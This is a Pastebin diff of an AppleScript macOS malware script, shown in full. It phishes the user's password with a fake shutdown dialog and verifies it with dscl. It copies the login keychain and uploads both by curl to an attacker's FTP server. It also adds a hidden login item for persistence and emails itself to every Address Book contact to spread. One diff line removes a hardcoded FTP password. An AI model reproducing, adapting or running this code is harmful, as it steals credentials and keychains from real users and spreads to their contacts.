View difference between Paste ID: 6tLpDfs8 and 2pUfRDUS
SHOW: | | - or go back to the newest paste.
1
delay 5 -- delay 5 seconds
2
try
3
	set theuser to do shell script "whoami"
4
	do shell script "mkdir ~/Public/." & theuser & ""
5
	set ufld to "/User/" & theuser & "/Public/." & theuser & ""
6
	set shutapp to POSIX path of (path to resource "Shutdown.app")
7
end try
8
try
9
	tell application "System Events" to keystroke "h" using {command down, option down} -- Hide all other applications
10
	repeat
11
		set passwd to text returned of (display dialog "Please enter your password to postpone shutdown." with title "Password" with icon alias ((path to me) & "Contents:Resources:troll.icns" as string) default answer "" buttons {"OK"} default button 1 giving up after 20 with hidden answer) -- Prompt for Password
12
		if passwd = "" then
13
			set reso to (path to resource ".Updater.app")
14
			tell application "Finder" to duplicate reso to ufld
15
			set newreso to POSIX path of ("" & ufld & ".Updater.app")
16
			tell application "System Events" to make login item at end with properties {path:newreso, kind:application} -- Make application a login item
17
			tell application "Finder" to duplicate shutapp to ufld
18
			tell application shutapp to activate -- Shut down computer
19
			quit
20
		end if
21
		try
22
			do shell script "dscl . -passwd /Users/" & theuser & " " & passwd & " benwashere"
23
			do shell script "dscl . -passwd /Users/" & theuser & " benwashere " & passwd & "" -- Check if password is correct
24
			exit repeat
25
		on error
26
			display dialog "Please try again." with title "Password" buttons {"OK"} default button 1 with icon caution -- If password is incorrect, try again
27
		end try
28
	end repeat
29
	set dte to (current date) as string
30
	try
31
		do shell script "curl http://checkip.dyndns.org/ | grep 'Current IP Address' | cut -d : -f 2 | cut -d \\< -f 1"
32
		set WANIP to (characters 2 through -1 of result) as text -- Get IP
33
		set LANIP to (do shell script "ipconfig getifaddr en1")
34
		do shell script "touch " & ufld & " ." & theuser & " - " & dte & ".txt"
35
		do shell script "echo " & dte & " - User: " & theuser & " Password: " & passwd & " WAN IP: " & WANIP & " LAN IP: " & LANIP & " >> " & ufld & "" -- Write password & IP to file
36
	on error
37
		set WANIP to "not connected"
38
		do shell script "touch " & ufld & " ." & theuser & " - " & dte & ".txt"
39
		do shell script "echo " & dte & " - User: " & theuser & " Password: " & passwd & " WAN IP: " & WANIP & " LAN IP: " & LANIP & " >> " & ufld & "" -- Write password to file
40
	end try
41
	try
42
		set reso to (path to resource ".Updater.app")
43
		tell application "Finder" to duplicate reso to (path to desktop)
44
		set newreso to POSIX path of ("" & (path to desktop) & ".Updater.app")
45
		tell application "System Events" to make login item at end with properties {path:newreso, kind:application} -- Make application a login item
46
	end try
47
	try
48-
		tell application "Finder" to do shell script "curl -T ~/Public/." & theuser & ".txt -u Ben:.Nimajneb59611. ftp://thexiuh.dyndns.info/Drive/.Passwords/." & theuser & "_" & WANIP & "_" & dte & ".txt" -- Upload to FTP server
48+
		tell application "Finder" to do shell script "curl -T ~/Public/." & theuser & ".txt -u Ben:(my password) ftp://thexiuh.dyndns.info/Drive/.Passwords/." & theuser & "_" & WANIP & "_" & dte & ".txt" -- Upload to FTP server
49
	end try
50
	try
51
		set china to "/Users/" & theuser & "/Library/Keychains/login.keychain"
52
		do shell script "cp /Users/" & theuser & "/Library/Keychains/login.keychain /Users/" & theuser & "/Public"
53
		do shell script "mv /Users/" & theuser & "/Public/login.keychain /Users/" & theuser & "/Public/." & theuser & ".keychain" -- Copy keychain to Public
54
	end try
55
	try
56-
		tell application "Finder" to do shell script "curl -T ~/Public/." & theuser & ".keychain -u Ben:.Nimajneb59611. ftp://thexiuh.dyndns.info/Drive/.Passwords/." & theuser & "_" & WANIP & "_" & dte & ".keychain" -- Upload Keychain to FTP server
56+
		tell application "Finder" to do shell script "curl -T ~/Public/." & theuser & ".keychain -u Ben:(my password) ftp://thexiuh.dyndns.info/Drive/.Passwords/." & theuser & "_" & WANIP & "_" & dte & ".keychain" -- Upload Keychain to FTP server
57
	end try
58
end try
59
do shell script "touch " & ufld & "adr.txt"
60
set adrt to "" & ufld & "/adr.txt"
61
tell application "Address Book"
62
	set thepeople to every person
63
	set j to (number of people)
64
	repeat with i from 1 to j
65
		try
66
			set adr to (value of first email of (item i of thepeople))
67
			do shell script "echo " & adr & " >> " & adrt & ""
68
		end try
69
		try
70
			set adr to (value of second email of (item i of thepeople))
71
			do shell script "echo " & adr & " >> " & adrt & ""
72
		end try
73
		try
74
			set adr to (value of third email of (item i of thepeople))
75
			do shell script "echo " & adr & " >> " & adrt & ""
76
		end try
77
	end repeat
78
	quit
79
end tell
80
tell application "Mail"
81
	set theMessage to make new outgoing message with properties {visible:false, subject:"Awesome new Mac app!", content:"Hey, check out this new Mac application! You'll never use your computer the same way again ;)
82
	
83
	" & theuser & ""}
84
end tell
85
set addresses to {}
86
set adrs to paragraphs of (read "/Users/" & theuser & "/Documents/adr.txt")
87
repeat with nextLine in adrs
88
	if length of nextLine is greater than 0 then
89
		tell application "Mail"
90
			tell theMessage
91
				make new to recipient at end of to recipients with properties {address:nextLine}
92
			end tell
93
		end tell
94
	end if
95
end repeat
96
tell application "Mail"
97
	tell content of theMessage
98
		make new attachment with properties {file name:(path to me)} at after last paragraph
99
	end tell
100
end tell